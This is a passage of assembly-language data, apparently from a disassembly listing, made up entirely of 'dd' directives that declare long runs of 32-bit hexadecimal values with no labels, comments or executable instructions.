		dd 0FE1CE907h, 9C14180Fh, 0E4208F39h, 0C55E0DE9h, 84F2666Ch
		dd 0EFDF6E8Eh, 64DD6072h, 0E1B89B6Ah, 23F47C12h, 91806D1Ah
		dd 4E3C0CAFh, 466CD399h, 0F6EA19B8h, 2E75D1F7h,	1440B664h
		dd 60D40710h, 0EFD6C195h, 0CBFC6720h, 0EFF709E1h, 0C449343Eh
		dd 42A7B03Fh, 8BEEFE8Bh, 6A0D7E5h, 0DDE50E21h, 0EA00261h
		dd 28969F76h, 24EA4A7Eh, 9E97937Ch, 972B8D3Fh, 1F06B8FEh
		dd 89A9DEA7h, 7FC95964h, 0BE80059Ch, 0AA3EC4A2h, 9FBC2D7Eh
		dd 53966B24h, 0ADBCD81Dh, 0D3537E2Ah, 0DE27C11Ch, 563F9A49h
		dd 0DBE6C383h, 0E3FAC02Eh, 4151C13Fh, 9C0E79BBh, 79C27B5Fh
		dd 8F0D5A54h, 59FE11B5h, 794421BBh, 7427DF30h, 54373C0Fh
		dd 0CA5ABF2Eh, 0CA87BD0Ch, 0F36EB337h, 8895A07Eh, 775EC581h
		dd 49AAF712h, 2A49EB3h,	1655D11Fh, 942CECE6h, 183C0395h
		dd 52B03BBFh, 6EF84732h, 2EE30ECh, 0AD4AEA8Fh, 0EF1CAE00h
		dd 208E32Fh, 0CD8B7A46h, 7ED0762Fh, 0F408FAAAh,	3FA8906h
		dd 810CEF77h, 1874DE0Dh, 0F77D63F4h, 0B71C8E2Dh, 13DE9781h
		dd 0B248AE96h, 739DDBCFh, 75AA89EFh, 8F6A23C6h,	9E66102Eh
		dd 34844C1Fh, 31583597h, 110CD97Fh, 0E876795Dh,	7FA4100Eh
		dd 63015005h, 0EF3FD9A5h, 6CDC8D28h, 0A0D1A1DDh, 51665539h
		dd 0F3FE7D58h, 0A876C282h, 9048E396h, 245F5E4h,	5168CCAh
		dd 0FBD881F6h, 0A4C7B459h, 3A3208C7h, 82B93338h, 0C85B577Fh
		dd 7B26476Fh, 40BFB1A1h, 0A4BE1168h, 76F122E7h,	0A638146Ch
		dd 0A1101B60h, 0FA3F3C0Ch, 0E7000A7Ch, 54BDAD2Ah, 4585C1D7h
		dd 6715D235h, 4A528A9Bh, 0BEA89CF0h, 9FD70D6Bh,	14D96075h
		dd 2180F6B9h, 23627131h, 0EEE98A04h, 3B41FE02h,	0F5BD8FE3h
		dd 0C4D7AB34h, 0D197CC2Dh, 515B95Eh, 0D7626383h, 0BAA61A01h
		dd 73A2C47Ah, 0BD58712Ch, 3654C98Eh, 0FB609918h, 253629A5h
		dd 642A7AECh, 0C605E167h, 1FA4DF8Fh, 52E68EC6h,	9B9C420h
		dd 0A83A8E51h, 43ACCFBAh, 97382630h, 0DA8DD54Dh, 1B2B0AD3h
		dd 7276816Ch, 0BC93A3EFh, 392593CDh, 7006972Bh,	0A959A0DAh
		dd 0ABAF973Dh, 57FA12EEh, 1A93BC87h, 5EB5784Dh,	0DDDDFF73h
		dd 0B190CD5Fh, 0C94CA1Eh, 0D794FA1h, 466690A5h,	2936490h
		dd 458DECD1h, 0C367AC29h, 778C7BB6h, 0AA8C4506h, 0B420A420h
		dd 2491805Ah, 1E3EC64Bh, 8333C970h, 4014DA1h, 4A45651Ch
		dd 8F355887h, 0DAAC9D18h, 5225FC0Bh, 0C4190F1Eh, 16B50F65h
		dd 9CAC385Eh, 28459DB6h, 4AD25CB5h, 0E83285EFh,	9E030695h
		dd 7FB9378Ah, 736A176Fh, 18E110B8h, 0CE2CB22Eh,	0B745609Fh
		dd 8A22CB6Ah, 144497BEh, 707A87A3h, 7EDAC31Fh, 6BFC9302h
		dd 0B4D2C632h, 112DB484h, 0E3FACA5Fh, 9429D43h,	9AF5BA37h
		dd 14BE0692h, 0AFC6A289h, 9F1E6756h, 3A59D4A3h,	0F4CD8BD9h
		dd 0F0A044D4h, 0A9F64B0Eh, 0EAD2ED94h, 6FFC3AD6h, 0CB30E875h
		dd 191F63C4h, 8C273C40h, 71AF92EBh, 3FFE90ECh, 31473965h
		dd 0DA621086h, 65E3A9CAh, 71B1EF76h, 0E74E53AEh, 80657D2h
		dd 0F676A433h, 0A5D4C545h, 544DF222h, 4A78A9Dh,	50E00775h
		dd 5D21A782h, 81ED4AD6h, 71E01F54h, 0A4516D52h,	66A3232Bh
		dd 7176BE9Eh, 45F378D9h, 31BB32Ch, 55FE5132h, 0AADE68F4h
		dd 67980C2h, 0FCAE9E20h, 776B70C5h, 4C401877h, 80B11A80h
		dd 0AD1014A2h, 0C70EA033h, 6EE23C00h, 2D231B69h, 0C02CDA6Ch
		dd 1C335F77h, 0AB816FBBh, 0E2B1AB10h, 2484BC0Ah, 0D0CA5A35h
		dd 56417B69h, 88B0AD8Bh, 0B79CBEB0h, 0C5DA9782h, 23FE3681h
		dd 0B153A5FBh, 2478BF11h, 0AB77DE0Dh, 9679E290h, 571C51F3h
		dd 8220EB40h, 9387410Bh, 1E6DCC79h, 6DB167B9h, 6669D8A9h
		dd 0AC69E805h, 5E33B99Dh, 25CE3E5Dh, 84B4ADCBh,	0AE605BFEh
		dd 636358D4h, 7958D81Dh, 0ACE167A2h, 6C3434D6h,	0CE686E6Ch
		dd 0E4B57B8Ch, 15266CF5h, 2D66F81h, 0BE47E6C5h,	0F3991548h
		dd 4316FB4Ah, 35D4CAD2h, 0E99A839Ch, 1BBB4119h,	92A2F69Dh
		dd 0C60155Bh, 2A4D0C6h,	7EB94419h, 1FD22BAFh, 96BBD28Fh
		dd 7A035D88h, 0E74FB959h, 73FBF6CDh, 0AA670CF5h, 0D5DFA6CAh
		dd 77C3A7EDh, 0F8C2A9C1h, 0E14789C8h, 40424D04h, 0E65BEF90h
		dd 0F8759DC5h, 8690C3Ah, 0B400C2A2h, 7A8D1755h,	0F70A606Ah
		dd 0C417A1BBh, 0CD0887Ch, 11D1CD0h, 0AEC04721h,	43512AF9h
		dd 5048CDE7h, 3D4EAEFCh, 8E9F2829h, 8A7875F4h, 0FEE56A21h
		dd 0D5084A72h, 4B77C8ACh, 0A2C12537h, 1518D1F9h, 0EDF23B5Fh
		dd 39F6E9FAh, 3D45DC20h, 9F1F1027h, 25DA5E1Fh, 282EA8A6h
		dd 39EBFA45h, 7A907845h, 7532382Fh, 0E7EB805Ch,	5066098Ah
		dd 2D13990Ch, 0DDB52EBh, 5008CFF5h, 0E8E91318h,	0F49433EBh
		dd 371109C4h, 1701241Ch, 0AB0AEFE1h, 78D7836Fh,	0D6BB3500h
		dd 3F16A8F8h, 36FC5C6Fh, 729ACFA3h, 0FD77933Ch,	286D662h
		dd 20A29A37h, 3C1667F2h, 22C5B91Fh, 0E320F828h,	0F636DDB1h
		dd 877C1AD9h, 3C5F7559h, 0C73635E6h, 0E9FE394Dh, 7880E9C2h
		dd 1CCB14F4h, 0FF747665h, 21467C0Ch, 18AF0FD6h,	64A49D90h
		dd 8EE45AD7h, 9F05858Ah, 28CD24E1h, 0B5B89E0h, 0A5FA1C33h
		dd 0AF1AFFE5h, 619A12F0h, 0B664971Ch, 61DDE6A0h, 0FB311C6Ah
		dd 5B5E9AC4h, 405580A1h, 67A1BB45h, 394D9557h, 352BFBE3h
		dd 8636964Ch, 392E499Ch, 0A278272Fh, 0CDBEFAE4h, 0C1188C29h
		dd 0E365DA08h, 3D04D63h, 8E35E9D9h, 0BE83FAECh,	0F7108F00h
		dd 88E47906h, 0E952EE5Bh, 323D83B2h, 58A9D9BFh,	4053266Bh
		dd 30932399h, 0F0E3FB99h, 1F6CA739h, 0B1C7697Dh, 86DC516Bh
		dd 1E89389Eh, 0F2F66A6Dh, 30AC01F2h, 98C6F182h,	1D33C8C3h
		dd 96C91D3Eh, 0DD987088h, 0EAF1F131h, 1C366805h, 7D8F464Ch
		dd 0B22246FBh, 0FDCB7A9Fh, 3C7E4613h, 2FCF27FBh, 110F020Ch
		dd 0B12253C9h, 0A06F4657h
		dd 3F43CDFEh, 22CECD0Bh, 0E1C229C6h, 54B41D78h,	61878433h
		dd 0F239763h, 3970A7A5h, 51575C75h, 8B770539h, 7A2604CAh
		dd 8D48DF9Eh, 650CACF9h, 740607FAh, 890AAF53h, 0ACA4655Eh
		dd 166B9C4Bh, 305D06A3h, 1DE52648h, 3BEDBB7Fh, 0D947ABADh
		dd 0CA4F264Dh, 73938DFFh, 66F9709Bh, 996B3EFDh,	8694A497h
		dd 0AB72BEBEh, 0FC31B8FDh, 77AD237Bh, 70947425h, 31744C85h
		dd 0A78767B5h, 23E44251h, 199FCFC9h, 0C34D0F88h, 0BE3CB4D5h
		dd 92672D07h, 0D4D1466Bh, 30BB18CAh, 0C4B870A6h, 7BB929Bh
		dd 9F30F135h, 4837209Ch, 21DFC072h, 38AA0C95h, 31B616BFh
		dd 0E25CEB19h, 0BCECBD57h, 0DA314BF2h, 0DA3E0787h, 4FBF93Ah
		dd 66927F7Fh, 0D00A32CDh, 8A6725A2h, 6ECC4A7Ch,	699B168Ch
		dd 1787ED3Fh, 0AF84F5A8h, 0A51C2D79h, 36732B24h, 0CD793CE9h
		dd 0B9E59037h, 268B9C78h, 0A2A4882Ch, 371AA7DDh, 2F60CA9Dh
		dd 0C23F6412h, 0E362CC83h, 19C03A9Ah, 14B8C1F7h, 8F496331h
		dd 840E3FBh, 3674B1E5h,	0D69226F0h, 0E195FE6Fh,	0A8692B9Eh
		dd 561AA27Ch, 0D43E9406h, 0F9CAE4h, 4204C54Ah, 0E69F8968h
		dd 4A4A2150h, 8329D42Ch, 0C2329088h, 8F766129h,	68698D0Fh
		dd 77D5710Eh, 2D5583C2h, 0E5D8CF2Ah, 84C4FDDDh,	0FFC89666h
		dd 1DB25D58h, 41DAD4B7h, 38CB5147h, 11BC9C27h, 9F3FE462h
		dd 8C04D719h, 0A67DD29Eh, 9C8ED7B2h, 9CC6B2C9h,	0C1BBEBFFh
		dd 0EC7BAA8h, 0BABA3328h, 6103798h, 0A8D4D961h,	63CF73B8h
		dd 7DD50621h, 35F5C55Fh, 2C2B28D3h, 0DDF2E1FEh,	82BE74F8h
		dd 7291BBEEh, 7EB76EE2h, 0D0F75184h, 0D133EC2Bh, 0E86DAADFh
		dd 288270FFh, 7DA069F8h, 3636B70h, 1B17D982h, 0C2BBA1AAh
		dd 0E01126A8h, 0E4B3F74Bh, 846582Ch, 8E32C770h,	30541E23h
		dd 8262E8A4h, 0C918F38Ch, 0EDCCE1h, 0FBE7DA9Ah,	0FBD79E0Dh
		dd 0B53E6031h, 52F5AB3Eh, 125A83Bh, 8980471Ch, 0F2B0BD2Bh
		dd 8560A475h, 87892304h, 9AD2E646h, 3C35A06Eh, 0C0849536h
		dd 3336ABFAh, 5B1E0E6Ch, 1FC41205h, 5170580Ch, 447564C6h
		dd 0BCA7B6F0h, 0DA349F07h, 655BCF72h, 2698B186h, 0CC580B89h
		dd 52FD8CBFh, 0C033DF77h, 62A27461h, 93233992h,	55D9A1DCh
		dd 31610DAFh, 1724E4C8h, 0C3E4C24Fh, 7E74B2D4h,	94733083h
		dd 5EEE3703h, 0F77C4CF2h, 199A669h, 0A596A1A2h,	7A35FB8Bh
		dd 5CAB7203h, 0F5534500h, 0A23D6F37h, 70A5D4FDh, 0B9BCEA0h
		dd 5CF8C18Ah, 4A2F62Dh,	4190B816h, 96D89182h, 5440023Bh
		dd 1EE366ADh, 489121DAh, 2345F85Ch, 0EDE0A9BDh,	0D48A6FF7h
		dd 0BD7BBEC6h, 0DB509686h, 630A81h, 738514A0h, 0B4BC2C93h
		dd 25C277C8h, 0E1962Bh,	51A0C476h, 7DC249BCh, 611AAF50h
		dd 3A7D93C0h, 0C663847Ch, 66919FE2h, 9B58B692h,	516C0079h
		dd 2E5BA91Dh, 0E4C18AF5h, 2F47B1F6h, 4B593378h,	0EE6B9593h
		dd 0BD80DF9h, 10F105A7h, 53141CAFh, 4EB3D539h, 82A15531h
		dd 3BAD0D42h, 653B7595h, 30E13E52h, 0D2E66951h,	9C77F9B0h
		dd 0F535487Eh, 37AB4CA7h, 8A1B2D88h, 6543356Bh,	0EFD9930Fh
		dd 0B3E7B777h, 4FA7A528h, 9C397B34h, 7E371A44h,	727FE9BCh
		dd 0A2DBF366h, 0C04CB22Ch, 9E81211Ch, 21C52C24h, 0BFA5E771h
		dd 0EB542BAEh, 0CA3AD755h, 0E8E7EC16h, 0F84EBCE8h, 0FC31793Bh
		dd 6B182BE7h, 0C75D4E9Eh, 324D9E04h, 0E5E3A53Eh, 7870F385h
		dd 95AF8CD0h, 0FA9CC750h, 64BA02A0h, 867A296Ch,	0A936745Ch
		dd 4F530FA0h, 2B5E413h,	3D7618Ah, 3A35003Fh, 0C2157017h
		dd 85FA3C0Ch, 54F6423Ah, 875F0D85h, 0EE130562h,	4F1B5194h
		dd 8A9D5D3Dh, 3E648AB5h, 29EF52A9h, 0FA06D29Ah,	35174209h
		dd 98D3F7FBh, 2F31E0F2h, 0F21E2162h, 22249EDh, 2A069403h
		dd 0CDF84A35h, 0D85DF9A4h, 231D3155h, 2AA9D12Dh, 872E9D2Ah
		dd 33B394D1h, 1A8E619Ch, 0F5C3ED71h, 0F0B1AFBAh, 0E239C911h
		dd 0E00576E9h, 63C8E66Eh, 0A27B9788h, 625A408h,	624C6CACh
		dd 0D499AA88h, 0F2D7B7F3h, 0EEAE14D4h, 0A8AC450Dh, 0F504F115h
		dd 38637D41h, 0E611403Bh, 178530E7h, 113AD648h,	0E342CBAEh
		dd 3D4AAE35h, 0EACBA2D3h, 893508D0h, 716D65B0h,	3F10F4EBh
		dd 2129C5BDh, 4A90D777h, 8A167C37h, 17ED3998h, 5DFB965Dh
		dd 0F3310015h, 0EC5A52A7h, 9FCEE210h, 0EA56912Eh, 852E5B28h
		dd 2DFEDE35h, 9913C7B2h, 602AA4B4h, 6FA0F08Ch, 0C091B4ECh
		dd 87B1F9AAh, 5F1E0A09h, 0CA9AEED0h, 307E7FA2h,	0F35AEDB3h
		dd 0EA960AB9h, 0A4E1C42Fh, 9A4CDA3Ch, 752DE676h, 63DD29CBh
		dd 0F6A5DE9Ah, 21148B61h, 92A27609h, 2F75A130h,	996576Ch
		dd 3FDC59BDh, 0D387A51Bh, 404BC712h, 9538C56Eh,	9133325Ah
		dd 7ECFA471h, 0D943AB9Ch, 7B4AC6D9h, 0F6E14905h, 66D829A2h
		dd 5A720298h, 339DB1B3h, 2A08FFAEh, 11D62AD1h, 20C11662h
		dd 0C9447A8Bh, 7AA3E6D3h, 0F2CFE2Eh, 54322F9Eh,	0E4D1FDBBh
		dd 0A98E852Eh, 76ED1A33h, 0FF8404A4h, 59181001h, 0B711C43Dh
		dd 0E0A3F178h, 28289533h, 756CCD4Dh, 4C4604DDh,	0C6895978h
		dd 0B316ABC0h, 8B29E43h, 2A80CABh, 0C9568C9Ah, 108312A1h
		dd 0D9B5C3DAh, 3FBE4C6Fh, 42D35ED7h, 1428694Bh,	0DE55485Fh
		dd 0FE25077Ch, 0CE923DC9h, 1DB17C32h, 8920963Bh, 0B90AD4DDh
		dd 8A8DFAB9h, 0DBB5E48h, 0F52072A6h, 11001F25h,	7FDBF55Eh
		dd 0BE8EACF4h, 497B2BB0h, 5104CA1Fh, 4550F1BDh,	9A18225Ah
		dd 0B2E42961h, 49CC12F5h, 0FBD59996h, 5AAEA489h, 0A0A6D7BCh
		dd 77FFB1C2h, 0BE55C483h, 6E69E086h, 48424641h,	98877E3Bh
		dd 0DB9CCDAEh, 0A91F492Eh, 24B9FA2Eh, 2E1C3490h, 47935421h
		dd 0A9CC8122h, 55415511h, 6FD0D2D3h, 0ECF97D98h, 6DA3CFBAh
		dd 0CF9E2060h, 5D65352Dh, 0F7E548B7h, 14023FE5h, 793BE8Ah
		dd 0B64EB11Dh, 0F3FA145Ah, 0D4C000E1h, 0D96C1D2Ah, 24785184h
		dd 97D0469Bh, 0BB9AA153h, 4952DF2Ah, 6600A37h, 0C7558D23h
		dd 93713E25h, 72418747h, 0DB1B1844h, 5734221Ah,	0B4B84F3Dh
		dd 0ED910E01h, 41E41075h, 0DDC4AD06h, 0C0EC67Ah, 0C6653C99h
		dd 0DD8AEE2Fh, 0D944E3D9h, 0CEECDBBAh, 42E4319Fh, 0B5606512h
		dd 369C7B6Dh, 27BE265Fh, 36C6BB79h, 81C85D12h, 0A5DE9BF7h
		dd 5869E106h, 0FF3C2C19h, 2FE4130Dh, 0C04F5661h, 0F91BFA1Fh
		dd 4827D427h, 34195B8Eh, 2E1CEDE9h, 34AD7F0h, 0DD8A868Ch
		dd 7811B9A9h, 3D21B00Bh, 9C5FC1F1h, 74753B2h, 1B7CA405h
		dd 0BFEB436Dh, 72E8E9ECh, 0CFBAFAB4h, 57E31904h, 0A3C1E53h
		dd 3427464Dh, 0D1E84229h, 667696F9h, 81571DDDh,	0F2DCABF6h
		dd 4B7973C7h, 0F164734Ah, 84AA4327h, 0F64E3D15h, 117771CAh
		dd 59BDC833h, 783E6149h, 5B3CFC0Ch, 9BD9F9DBh, 0ECC4FF6Ah
		dd 0C09861C3h, 78AF9FEEh, 333C69B0h, 0A82CAAC8h, 511BBDA8h
		dd 430CD21Fh, 0EAE48773h, 0A371213Dh, 8C69DA22h, 0BAF5094Ch
		dd 36B675F0h, 9FBF7116h, 0F945F57h, 9F681EE6h, 523D2868h
		dd 39E8449Eh, 12137E3Bh, 9F4FBB62h, 0C6DC7F88h,	0EF227455h
		dd 0A68BE358h, 8781C2AFh, 9033FCCBh, 94C6D714h,	0A04613DFh
		dd 3533BC89h, 555E784Dh, 464824B6h, 0A5185612h,	26ACEC96h
		dd 2F07B1DFh, 0C9958B19h, 20213564h, 1CB68BFAh,	0C1E85AFDh
		dd 5BDD5FC8h, 0A432729Ah, 0E6FECA7h, 74DB7D9h, 623A9944h
		dd 0E95F9274h, 0E786C64Ah, 8F8C6688h, 6EEA21B5h, 0A80640ACh
		dd 4499FA87h, 7E0328EDh
		dd 7072D9A6h, 321AD282h, 0CFFFC8BAh, 5BAFF4C5h,	4CB49F8Bh
		dd 1621E0C1h, 83656294h, 3C645E7Eh, 67B50E7Bh, 2C0C867Bh
		dd 0EADB6E0Eh, 7040DAFDh, 9E1B7A17h, 7CB8C2E3h,	378F2B59h
		dd 0C0D0B2C0h, 93D2B447h, 4A2B29F8h, 6413F27Ch,	0D0232216h
		dd 0CF4AE4AFh, 0C8C2C240h, 1E6520D9h, 420D191Fh, 1C15FB22h
		dd 0E7151802h, 0BE022CDFh, 77C01CE7h, 63D809E4h, 0A9B913A9h
		dd 0B1CE02C3h, 0FF1108Ah, 0B2E4CD9h, 12FFAF6Bh,	4F427579h
		dd 0C9160EB1h, 57FE1B86h, 260D3B5Fh, 0FC61B13Eh, 0B43D6BB0h
		dd 60BC4Fh, 0B279AA44h,	0AC1D5132h, 352EF30h, 0F3B7B137h
		dd 0BF9E16EDh, 1586DCDh, 0EA69026Fh, 0B3B59939h, 73BF402h
		dd 0D081248Bh, 0BE2644B5h, 0CF444BEh, 4DF9FEF6h, 9A66E75Ch
		dd 53AB7CC2h, 437F1691h, 0E349C5D0h, 1648E623h,	0FA7EFAF1h
		dd 0A0976CCFh, 0EB00E93Eh, 0B3D1D58Eh, 2B617697h, 58FC870Fh
		dd 7828102h, 50FB2FF5h,	40F77C4Dh, 0A684246Bh, 0EA3D934Ah
		dd 877BD18Dh, 63B13B8Dh, 526A49E4h, 8B962F60h, 3E14D028h
		dd 6C5890DFh, 0C6A71C40h, 0ECFD5BFAh, 3674E50Fh, 0BFEA52B2h
		dd 75840E6Fh, 1448670h,	81AD5F74h, 0ED9DF1BEh, 9AC268F4h
		dd 2B8498D7h, 755AB7CBh, 2C85FCE5h, 0E6B13FCAh,	0CEE1A077h
		dd 9E717929h, 0CC53768Dh, 121ECF91h, 302546ACh,	42B92F96h
		dd 0CFADC700h, 0E45B039Ah, 5347E7E4h, 30E9E4A8h, 0A0599A95h
		dd 97058061h, 4443FCA6h, 61D8BCEBh, 8FE581D4h, 9F70FF0Dh
		dd 0DAE51AE1h, 5A096A35h, 48E1E7BBh, 0AF4A77EEh, 0E883F2D3h
		dd 0DC55B436h, 27C9690Fh, 1491E424h, 61F823C4h,	93D83B19h
		dd 56BB9D45h, 67577CB3h, 0EA6040F3h, 33AC8730h,	783B62FEh
		dd 1FCFAFA0h, 79FDB5C1h, 0D69ED206h, 0E882E78Bh, 228DD27Eh
		dd 7411E134h, 5191476Fh, 7F6761B7h, 6D74D079h, 0DDD8B380h
		dd 6A270E3Fh, 0DE2FA74Eh, 78F96467h, 0EEB4CA7Ah, 0BECC2FA1h
		dd 811CA8A2h, 0BB88286Fh, 306D962Dh, 0F9A0BF07h, 3D1B4883h
		dd 0B97B6224h, 0CB38A22h, 73CD4201h, 0E8D30D88h, 0D21DC2C8h
		dd 83389D9Ch, 96BE0F92h, 27F98487h, 0B074D171h,	0F0D88529h
		dd 1DDF0767h, 0CCC4FE17h, 0AC9271E0h, 8665B740h, 0F216325Eh
		dd 9C0BF575h, 0BAB33061h, 9E94E504h, 95625460h,	3E831B64h
		dd 0EE1904F8h, 0FB85B6DFh, 886AB4FEh, 76E34D3Ch, 0AE94BB3Ch
		dd 0EAF26214h, 0FA8D7A1Fh, 20B9FBC8h, 7499B30h,	0AAD5CAB5h
		dd 27D851C0h, 0FC52B64Bh, 490E9AB4h, 0E43879B2h, 53DD0885h
		dd 0FD058F6Fh, 0C57BE1Ah, 96F66B3h, 43AEF56Fh, 45B015Bh
		dd 7AC10A87h, 486717B9h, 77294B49h, 6BFCD39Ah, 881F87A7h
		dd 0E7357F7h, 5E0C042Ah, 0C4E143Fh, 37528C09h, 4DE7F794h
		dd 0D5686F69h, 120C8CE4h, 0E340C867h, 8C16029h,	8883F9A8h
		dd 83217E79h, 7CA99DA9h, 8A85A70Bh, 0E4E6008Eh,	0E770AAE6h
		dd 1DFC8614h, 0B2C07363h, 3CCADE67h, 0E1F325CFh, 0A2993483h
		dd 63CE68A1h, 5F9DE33Fh, 6304BC16h, 0CA496160h,	1D6D6EB7h
		dd 58802322h, 0A9966C6Eh, 86B26F84h, 0D126908Bh, 0B8744AF9h
		dd 26C71F50h, 9E2705B5h, 0AEBBFAB0h, 19F20DDBh,	2F32082Eh
		dd 0D9553258h, 189A9295h, 0FA40EAD2h, 8DBB8A76h, 0F823A508h
		dd 76EA3455h, 0E5B3BDB2h, 18BEB5D0h, 6F4A1CD6h,	0F0D7168Ch
		dd 0A764B5F9h, 7900BC61h, 37FE45CCh, 0F1870F61h, 4FF203Dh
		dd 266B3560h, 0B912BBC5h, 0E0C55099h, 81EDF11Eh, 64D8B28Ah
		dd 346D9A6Ah, 0F0DE5978h, 3C46B731h, 9DA5C7CEh,	879FE005h
		dd 0F2854D45h, 9B7C2955h, 4BB10C56h, 9FF40870h,	7993101Bh
		dd 9428FCEFh, 7B94EA1Bh, 48D7FAD1h, 717CF4BBh, 2DF85272h
		dd 0BDD526F1h, 112EA1FDh, 93DCE04Eh, 9BD779BBh,	9B3F6CDCh
		dd 0FA82A4B2h, 0C826DB13h, 0E66F1951h, 4AAE0484h, 0E365B7CBh
		dd 0C861D1B1h, 8093459h, 0CE9DE624h, 48EB484h, 0B11CD8DBh
		dd 0ADD7911Eh, 3C202E40h, 19C5A01Dh, 0B841E490h, 6840FA77h
		dd 0A0C3CE3Dh, 298F3451h, 0F9D37121h, 0BDE55FE4h, 910199D4h
		dd 0E79769C8h, 1168C6h,	0EEB6DB18h, 8C97C334h, 2833D3Ah
		dd 984220CEh, 7B057546h, 53E69653h, 0EC4E9EEFh,	0A0C8E0C1h
		dd 9A2A6ED3h, 647BE621h, 234F7DAEh, 0B67AC4CBh,	7121945Ch
		dd 0EAFD15DFh, 69B5598Ah, 0A6F04000h, 5ADBD55Fh, 0CAADEC96h
		dd 6FFABA23h, 2A05E04Bh, 1D6E37D2h, 3DF787F9h, 0A176BD29h
		dd 76BEB233h, 2A935196h, 6CED6C39h, 14F1D799h, 12BF8EADh
		dd 7420906Ah, 0B35688F2h, 9ABF1B91h, 53AA359Ch,	7AA31250h
		dd 7F526BA1h, 0D432FF6Ah, 0F5B0DC28h, 0D959CCD3h, 0EA4EBBEBh
		dd 7A75C805h, 2430EEBFh, 0F2C00033h, 0E83DF337h, 0E43FE987h
		dd 0E35A3F1Ch, 929FCEFh, 2D2A3850h, 0A1869D95h,	6BF39244h
		dd 33B0095Eh, 3B68508Dh, 4AA888DEh, 9B38739Ah, 2EABBF7Eh
		dd 0C293CCF5h, 5DA5B7EFh, 8B516CD6h, 0ADF03F25h, 312426EFh
		dd 524576E2h, 2E921BFFh, 0DA92A15Eh, 5AE20D3Eh,	0D15262DFh
		dd 0CC27B3FCh, 0C3138444h, 0A966108h, 0FC0E276Ch, 46AA702Fh
		dd 0ED69669Dh, 0FC447120h, 366D9391h, 45D8DBA7h, 0EB030A0Ch
		dd 1219AA7Ch, 0F894F1F7h, 0DE6B7FFFh, 0FA4D2EE5h, 0FB63691Bh
		dd 0ABD5FE5Ch, 0F1790A41h, 84A4034Eh, 17A21568h, 0CB8FA91Ah
		dd 3D274E6Fh, 0BFEDE0F4h, 68B0B5C6h, 0C69206DAh, 9522AAB3h
		dd 1D101980h, 0E58C9D4Eh, 0F10798CDh, 55F6146Eh, 6DB77E63h
		dd 0F384A4BBh, 0EE95E490h, 1A0B9A9Ah, 0BA40967Eh, 231229C2h
		dd 6BB9FE69h, 920AD5D9h, 2CD7734Fh, 392F9663h, 7BB9F831h
		dd 7C333D87h, 12F6EDF7h, 0BB1051Eh, 345BDAC5h, 0D60FD7BCh
		dd 0A2C3F000h, 3FD24030h, 4C44C9E2h, 0EE2633BBh, 889C8FC3h
		dd 8A35E5BFh, 1BEDF6ECh, 590EE981h, 9A745CD3h, 0FBBC2196h
		dd 0A7F49EFDh, 2448C65Ch, 7EFEE942h, 2B11BA51h,	0DFCBCD97h
		dd 0ABA8A2C0h, 2453DC9Ah, 5CA93D23h, 5AFAAFCFh,	13AD0AF8h
		dd 32F4C575h, 0D40A132Ch, 0B85330F5h, 3A1B97AEh, 55A323B6h
		dd 74BA2BACh, 53724669h, 0C821A08h, 0D171DC79h,	0EF91AE1Ah
		dd 5F943B12h, 0C2233AC8h, 0E5D83133h, 3A7878FEh, 0B22D312Dh
		dd 0AB95ED83h, 9A15D497h, 66B53F61h, 30845B3h, 71991BF7h
		dd 4CD5BA47h, 0B7D771FEh, 0CD190780h, 0BD321D73h, 0F5F6D78Fh
		dd 3FF4BA10h, 0BA520C4Dh, 0D63D4432h, 0C0FA4120h, 63256124h
		dd 85410C7Fh, 274E421Eh, 941418A5h, 7C5F1F83h, 2B213639h
		dd 0D8AC4508h, 0A836D87Eh, 0B4AF938Ch, 333889D8h, 6A3D5F19h
		dd 0D89E3B14h, 4C944A5Dh, 0D4E07D21h, 0A0179CFCh, 357AED28h
		dd 23C8187Dh, 3BCC8477h, 0D82B3153h, 6ED95EF2h,	44D2A2B2h
		dd 0F7F4BC47h, 4BABEE5h, 287C8091h, 0C80B888Ah,	9C27A9Dh
		dd 19C76343h, 8FB661BDh, 0B04C3752h, 2532D77h, 83116CDDh
		dd 2123AF33h, 0B786346Bh, 75F9871Dh, 0DA1DB856h, 8315A10h
		dd 6BE46E9h, 4568412Fh,	985487A2h, 5F19E192h, 48AD281Dh
		dd 0CBC35F06h, 1F3D6D0Bh, 593567D1h, 79A594B0h,	0A76537B4h
		dd 730F261Eh, 10EAC129h, 0EADCFCEAh, 77A56F75h,	6CBB2CA7h
		dd 495CDE7Fh, 8520BBCFh, 0FB0434F5h, 8ED9FBEBh,	22429D89h
		dd 6845D29Ch, 0F8E6054h, 0E1ABAE6Bh, 0C7264CC3h, 2141B8C7h
		dd 835E7F6h, 30C1805Ah,	0FDC95E05h, 9596E685h, 0A27F8168h
		dd 9302F622h, 0DDA37662h, 13BA7AE0h, 49930940h,	8CB23277h
		dd 6121A83Ch, 9C27CCEEh
		dd 5F298276h, 0C490FC96h, 5830B8D7h, 9A59F73Bh,	3F9B7264h
		dd 1AA157C8h, 38339EB0h, 46A09B8h, 0B433DA1Ch, 0B42D49B2h
		dd 0B590B582h, 9A6093B6h, 824103Bh, 0A76497D9h,	9B86A3A5h
		dd 85CEF1CEh, 2C2AD41h,	0BE2BF744h, 3A03DE69h, 8A0071EEh
		dd 5667C3F5h, 4D4F6749h, 5D9834CDh, 5BCB5169h, 0C23A5E34h
		dd 472FE594h, 0AC065B7Bh, 0DF40B0C1h, 549E612h,	71684801h
		dd 7FCD1FD5h, 0CE26BA77h, 0E7100809h, 0AF8558A0h, 0DAF52A91h
		dd 0FEAC6510h, 504AD166h, 0AFFE4BBFh, 189CD56Ah, 199F5263h
		dd 0A6768BAh, 0B3E0CC8h, 0E7C8C2h, 3559D40Fh, 203C1F8Ah
		dd 4BEFCECEh, 4702764Dh, 8EA461A5h, 0ED6BD047h,	0A49B24F9h
		dd 425132C0h, 4CA3E1F0h, 68B320DEh, 968F6371h, 71226F43h
		dd 73F642C2h, 8B70BCBAh, 2C85C6EFh, 2C81617Ch, 76F97634h
		dd 0B008C1B7h, 9B2142D1h, 574D7EBCh, 0D8FB90D4h, 0EEE6AACFh
		dd 0C83276FFh, 0FB4084C0h, 19762069h, 11AC8140h, 0E6EF6396h
		dd 0C9656B02h, 9BDB4D97h, 0DD05h, 0C1DFDBD3h, 15FA281Bh
		dd 0D7E0BE30h, 916A1E0h, 21EF140Fh, 0AF580408h,	6F8FF085h
		dd 1B5C8D8Fh, 0F3B4CFD0h, 0E361B580h, 0EB4671D0h, 6F71DE91h
		dd 0EA83A3C8h, 29BDC972h, 90F799F9h, 2BCA5E2Dh,	0C17FA42Ch
		dd 7CE33633h, 58D8A8FEh, 8CC3B5F2h, 5078589h, 0C8051CCCh
